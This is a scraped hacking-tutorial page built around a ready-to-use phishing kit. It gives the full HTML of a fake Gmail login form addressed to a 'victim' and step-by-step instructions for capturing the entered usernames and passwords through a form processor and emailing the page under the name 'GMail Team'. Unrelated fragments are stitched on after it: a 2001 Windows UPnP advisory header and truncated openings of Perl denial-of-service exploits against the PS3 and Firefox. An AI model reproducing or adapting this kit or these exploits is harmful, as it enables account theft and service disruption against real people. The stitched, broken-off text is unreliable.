<body bgcolor=#ffffff link=#0000FF vlink=#0000FF onload="OnLoad()">
<table width=95% border=0 align=center cellpadding=0 cellspacing=0>
  <tr valign=top>
    <td width=1%> <img src="https://mail.google.com/mail/help/images/logo.gif" border=0 width=143 height=59 alt="Gmail" align=left vspace=10/> </noscript>
    </td>
  <td width=99% bgcolor=#ffffff valign=top>
  <table width=100% cellpadding=1>
  <tr valign=bottom>
  <td><div align=right> </div></td>
  </tr>
  <tr>
  <td nowrap=nowrap>
  <table width=100% align=center cellpadding=0 cellspacing=0 bgcolor=#C3D9FF style=margin-bottom:5>

  <tr>
  <td class="bubble tl" align=left valign=top><img src=https://mail.google.com/mail/images/corner_tl.gif class=c alt="" /></td>
  <script>utmx_section("title")</script>
  <td class=bubble rowspan=2 style="font-family:arial;text-align:left;font-weight:bold;padding:5 0"><b>Welcome to Gmail</b></td>
  <td class="bubble tr" align=right valign=top><img src=https://mail.google.com/mail/images/corner_tr.gif class=c alt="" /></td>
  </noscript>
  </tr>
  <tr>

  <td class="bubble bl" align=left valign=bottom><img src=https://mail.google.com/mail/images/corner_bl.gif class=c alt="" /></td>
  <td class="bubble br" align=right valign=bottom><img src=https://mail.google.com/mail/images/corner_br.gif class=c alt="" /></td>
  </tr>
  </table>
  </td>
  </tr>
  </table>
  </td>
  </tr>

</table>
  <table width=94% align=center cellpadding=5 cellspacing=1>
  <tr>
  <td valign=top style="text-align:left"><b>A Google approach to email.</b>
  <td valign=top>
  </tr>
  <tr>
  <td width=75% valign=top>

  <p style="margin-bottom: 0;text-align:left"><font size=-1> Dear <b><victim name></b>,
  <br><br>
  <table align="center" width="75%">
  <tr><td><font size="-1">
  We are moving database partly to our new server.<br>
  This require your account verification for proper redirection...!<br>
  Please verify yourself by entering correct google account 'username' and 'password'. Click 'Move'.<br>
  Repply this message within 72 hours.<br>
  Thank You ! for your Co-Operation........!
  </font><br><br>
  <b>GMail Team</b>
  </td></tr></table>
  </font>
      </p>
</noscript>
      </noscript> </td>  <td valign=top>
      <div id=login>
        <form id="gaia_loginform" action="login.asp" method="post">
<div id="gaia_loginbox">
<table class="form-noindent" cellspacing="3" cellpadding="5" width="100%" border="0">

  <tr>
                <td valign="top" style="text-align:center" nowrap="nowrap"
        bgcolor="#e8eefa">
                  <div class="loginBox">
                    <table id="gaia_table" align="center" border="0" cellpadding="1" cellspacing="0">
                      <tr>
                        <td colspan="2" align="center">
                          <table>
                            <tr>
                              <td valign="top"><font color="#0000FF">G</font><font color="#FF0000">o</font><font color="#FFCC33">o</font><font color="#0000FF">g</font><font color="#009900">l</font><font color="#FF0000">e</font></td>
                              <td valign="middle"> <font size="+0"><b>Account</b></font>
                              </td>
                            </tr>
                          </table></td>
                      </tr>
                      <script type="text/javascript"><!--
    function onPreCreateAccount() {
   
      return true;
   
    }

    function onPreLogin() {
   
     
      if (window["onlogin"] != null) {
        return onlogin();
      } else {
        return true;
      }
   
    }
  --></script>
                      <tr>
                        <td colspan="2" align="center"> </td>
                      </tr>
                      <tr>
                        <td nowrap="nowrap"> <div align="right"> <span class="gaia le lbl">
                            Username: </span> </div></td>
                        <td> <input type="text" name="Email"  id="Email"
  size="18" value=""
 
    class='gaia le val'
 
  /> </td>
                      </tr>
                      <tr>
                        <td></td>
                        <td align="left"> </td>
                      </tr>
                      <tr>
                        <td align="right"> <span class="gaia le lbl"> Password:
                          </span> </td>
                        <td> <input type="password"
   name="Passwd" id="Passwd"
  size="18"
 
    class="gaia le val"
 
  /> </td>
                      </tr>
                      <tr>
                        <td> </td>
                        <td align="left"> </td>
                      </tr>
                      <tr>
                        <td> </td>
                        <td align="left"> <input type="submit" class="gaia le button" name="signIn"
           value="Move"
                  /> </td>
                      </tr>
                    </table>
  </div>
  </td>
  </tr>
</table>
</div>
</form>
      </div>    <br>
      <table class=form-noindent cellpadding=0 width=100% bgcolor=#E8EEFA id=links>
        <tr bgcolor=#E8EEFA>
          <td valign=top align="center"><font size=+0><br>
            <font size="-1"> <a href="http://mail.google.com/mail/help/intl/en/about.html">About
            Gmail</a
                  >     <a href="http://mail.google.com/mail/help/intl/en/about_whatsnew.html">New
            features!</a> </font> </font></td>
  </table>
  </noscript>
     
  </table>
<br>
<table width=95% align=center cellpadding=3 cellspacing=0 bgcolor=#C3D9FF style=margin-bottom:5>
  <tr>
  <td class="bubble tl" align=left valign=top><img src=https://mail.google.com/mail/images/corner_tl.gif class=c alt="" /></td>
  <td class=bubble rowspan=2 style=text-align:left>
  <div align=center>
  <font size=-1 color=#666666>©2008 Google -
  <a href="http://www.google.com/a/help/intl/en/users/user_features.html#utm_medium=et&utm_source=gmail-en&utm_campaign=crossnav&token=gmail_footer">Gmail for Organizations</a> -
  <a href="http://gmailblog.blogspot.com/?utm_source=en-gmftr&utm_medium=et&utm_content=gmftr">Gmail Blog</a> -
  <a href="http://mail.google.com/mail/help/intl/en/terms.html">Terms</a>

  - <a href="http://mail.google.com/support/">Help</a>
  </font>
  </div>
  </td>
  <td class="bubble tr" align=right valign=top><img src=https://mail.google.com/mail/images/corner_tr.gif class=c alt="" /></td>
  </tr>
  <tr>
  <td class="bubble bl" align=left valign=bottom><img src=https://mail.google.com/mail/images/corner_bl.gif class=c alt="" /></td>

  <td class="bubble br" align=right valign=bottom><img src=https://mail.google.com/mail/images/corner_br.gif class=c alt="" /></td>
  </tr>
</table>
</body>
</html>




           
Step-2 : We require a form processor to process this fake login form, i.e. to store the username and password entered by the victim.
The username and password entered by victim can either be stored in database or send directly to the predefined e-mail address.
This can be done in two ways-

1)
Using online form processors, which are freely available and ready to use.
eg. One of such form processor is provided by http://www.formmail.com . You have to register with www.formmail.com and configure your fake gmail login form to be processed by formmail.com . The configuration is different for each formmail account. Which may be something like following-


            Your form must start with the following <form> HTML tag:<br>
            <form method="POST" action="http://fp1.formmail.com/cgi-bin/fm192">
            You must also include the following hidden configuration fields
              in your form so that formmail.com knows what account and form processor
              to use on the submitted data:
              <input type="hidden" name="_pid" value="94566">
              <input type="hidden" name="_fid" value="36THG54Z">
              You must also inform this form processor who you wish to have your
              form results emailed to. To do so, you must include a hidden form
              field that specifies the recipient:
              <input type="hidden" name="recipient" value="your email address">
              Please Note: the above field will work, but an even better solution
              is to use the ID number for that email address (thus hiding your
              address from spammers):
              <input type="hidden" name="recipient" value="1">
               



                                                 OR
 
2) If you are having your own domain hosted on some server; knowing the basics of ASP for processing HTML forms, you can create your own form processor in ASP (eg. 'login.asp' page) for above given fake gmail login form. Here you should only put both 'gmail.html' and 'login.asp' files to your server.


Step-3 : Now both of your 'Fake Gmail Login Form (eg. gmail.html)' and 'Form Processor' are ready to use.
Now you can send the fake gmail login form as an html mail to the victim's e-mail address, hoping that the victim gets fooled into entering the account username and password and click on 'Move' button.
Note:- You can use Microsoft Outlook for sending HTML e-mail.
Also, you must use your fake name as 'GMail Team' or 'GMail' while sending fake login form to victim.

As soon as victim click on 'Move' button he/she get redirected to predefined webpage (eg. http://www.gmail.com), while his/her 'username' and 'password' get emailed to you by formmail.com .
That's It............!

Done.......?




UPNP - Multiple Remote Windows XP/ME/98 Vulnerabilities


UPNP - Multiple Remote Windows XP/ME/98 Vulnerabilities

Release Date: December 20, 2001
Severity: High
Vendor: Microsoft

Systems Affected:
Microsoft Windows XP (All default systems)
Microsoft Windows 98 (Certain configurations)
Microsoft Windows 98SE (Certain configurations)
Microsoft Windows ME (Certain configurations)

Playstation 3 "Remote Play" Remote DoS Exploit

Playstation 3 "Remote Play" Remote DoS Exploit

Mar 26 2007 05:24AM
mak0b inbox com

#!/usr/bin/perl
####.:Playstation 3 "Remote Play" Remote DoS Exploit:.###
#
# A UDP flood while the "remote play" feature is active
# will result in a denial of service condition.
#
# Tested using PS3 v1.60 (20GB) & PSP v3.10 OE-A
#
# -Dark_K (mak0b[AT]inbox.com)
#
# POC code is based on odix's perl udp flooder
#########################################################

use Socket;

Mozilla Firefox FTP Request Remote DoS (Exploit)


Mozilla Firefox FTP Request Remote DoS (Exploit)

Vulnerable Systems:
*Mozilla Firefox version 1.5.0.6 and prior.

Exploit:
#!/usr/bin/perl
#author: tomas kempinsky